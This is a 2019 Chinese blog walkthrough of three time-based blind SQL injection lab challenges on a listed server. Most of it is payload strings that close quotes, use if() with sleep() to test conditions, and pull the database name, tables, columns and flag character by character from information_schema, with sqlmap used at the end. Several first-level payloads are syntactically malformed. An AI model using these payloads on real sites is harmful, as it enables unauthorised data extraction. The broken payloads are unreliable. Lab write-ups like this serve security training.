延时注入

工具:kali.sqlmap

三关地址:

http://59.63.200.79:8812/New/TimeBased/RankOne/sql-one/

http://59.63.200.79:8812/New/TimeBased/RankTwo/sql-two/

http://59.63.200.79:8812/New/TimeBased/RankThree/sql-three/

延时注入第一题
首先进入靶场输入?Id=1 :


发现单引号和闭合注释为?id=1’ —+
And Sleep()函数尝试是否有页面刷新延缓:


发现延时,存在注入。

If(a,b,c)判断a为正确执行b,否则执行c。
先查数据库长度:?id=1’ and%20 if(length(database())>5,sleep(5),1) —+


Sleep(5)执行,说明数据库长度大于5,依次实验,发现数据库长度为8,然后截取数据库首字母ascii码值:?id=1’ and%20 if(ascii(substr((database()))=113),sleep(5),1) —+


逐个检验,出现页面延缓说明是该字母的ASCII码值
和盲注类似,使用burpsuite数字爆破数据库名为:security
然后查询数据库中表名:?id=1’ and%20 if(ascii(substr(select table_name from information_schema.tables where table_schema=database limit 4,1))=113),sleep(5),1) —+


逐个查询出第四个表的各个字母,为zkaq.
然后查字段名:?id=1’ and%20 if(ascii(substr(select column_name from information_schema.columns where table_name=’zkaq’ limit 1,1))=113),sleep(5),1) —+


逐个查询,最后查到字段名各个字母。
最后查flag:?id=1’ and%20 if(ascii(substr(select zKaQ from zkaq limit 14,1))=113),sleep(5),1) —+


最后逐个查询出flag各个位置。
最后使用sqlmap来跑出:

延时注入第二题
输入?Id=1:


闭合试用?id=1’ —+
其他步骤与上面地一题的步骤差不多,此处不再赘述。

延时注入第三题
输入?Id=1:


发现闭合方法为双引号闭合:?id=1” —+
查询数据库字段长度:
?id=1” and if(((select length(database()))=8),sleep(5),’zz’) —+


猜出数据库名字
?id=1” and if((ascii (substr((select database()),1,1))=115),sleep(5),’zz’) —+


查询表名
?id=1” and if((select ascii (substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1))=101),sleep(5),’zz’) —+


查询 zkaq 表里的列
?id=1” and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name=’zkaq’)=2,sleep(5),’zz’) —+


查询列里的第一个字段:
?id=1” and if((select ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’zkaq’ limit 0,1),1,1))=102),sleep(5),’zz’) —+


查出第一个字母为f.
同样使用sqlmap得出flag。

posted @ 2019-10-13 15:27  求知鱼  阅读(1878)  评论(0编辑  收藏  举报